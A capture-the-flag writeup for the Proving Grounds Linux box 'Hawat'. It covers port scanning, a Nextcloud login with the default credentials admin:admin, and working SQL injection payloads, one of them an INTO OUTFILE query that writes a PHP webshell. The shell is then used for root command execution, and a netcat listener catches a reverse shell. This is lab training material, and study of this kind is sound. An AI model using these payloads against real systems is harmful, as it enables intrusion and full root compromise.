# Hawat Writeup - Proving Grounds

> Easy Linux box where default Nextcloud credentials expose the Issue Tracker source, revealing a SQL injection. A phpinfo page shows the server runs as root from /srv/http, so an INTO OUTFILE webshell gives code execution as root with no privilege escalation.

- **URL:** https://hackindex.io/writeups/hawat
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** sql-injection, webshell, rce, default-credentials, information-disclosure
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Hawat exposes several web services. Nextcloud on port 50080 accepts default credentials and holds a zip of the Issue Tracker source, which reveals a SQL injection on port 17445. A phpinfo page shows the server runs as root out of `/srv/http`, so an `INTO OUTFILE` webshell lands code execution as root with no privilege escalation.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH 8.4 (protocol 2.0)
# 17445/tcp open  http    Apache Tomcat (Issue Tracker)
# 30455/tcp open  http    nginx 1.18.0
# 50080/tcp open  http    Apache httpd 2.4.46 (PHP/7.4.15)
```

An Issue Tracker on 17445, an nginx server on 30455, and a PHP site on 50080. Brute force each for content.

### Directory discovery

Enumerate directories across the web ports.

```bash
dirsearch -u http://$TARGET_IP:30455 -u http://$TARGET_IP:17445 -u http://$TARGET_IP:50080
# # port 30455
# [200] /phpinfo.php
# # port 17445
# [200] /login   [200] /register
# # port 50080
# [301] /cloud  ->  Nextcloud login
```

Port 30455 exposes `phpinfo.php`, 17445 has a `/register` page, and 50080 hosts a Nextcloud login at `/cloud`, which accepts the default credentials `admin:admin`.

## Exploitation

### Nextcloud and source review

Log into Nextcloud and download `issuetracker.zip` from the Files app. Reviewing the source, the Issue Tracker on 17445 builds a SQL query from the `priority` parameter of `POST /issue/checkByPriority` with raw user input, a SQL injection.

### SQL injection to webshell

Register an account on 17445 to get an authenticated session, then confirm the injection with a time-based payload.

```sql
' UNION SELECT SLEEP(5)-- -
```

The `phpinfo.php` page on 30455 discloses the document root `/srv/http` and shows the web server runs as root. Write a PHP webshell into that directory with `INTO OUTFILE`.

```sql
' UNION SELECT '<?php echo system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/srv/http/cmd.php'-- -
```

The webshell is served on 30455 and runs as root.

```bash
curl 'http://$TARGET_IP:30455/cmd.php?cmd=id'
# uid=0(root) gid=0(root) groups=0(root)
```

Outbound traffic is filtered to port 443, so catch a reverse shell there.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from $TARGET_IP
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

The shell returns as root. The web stack already runs as root, so no privilege escalation is required.

Related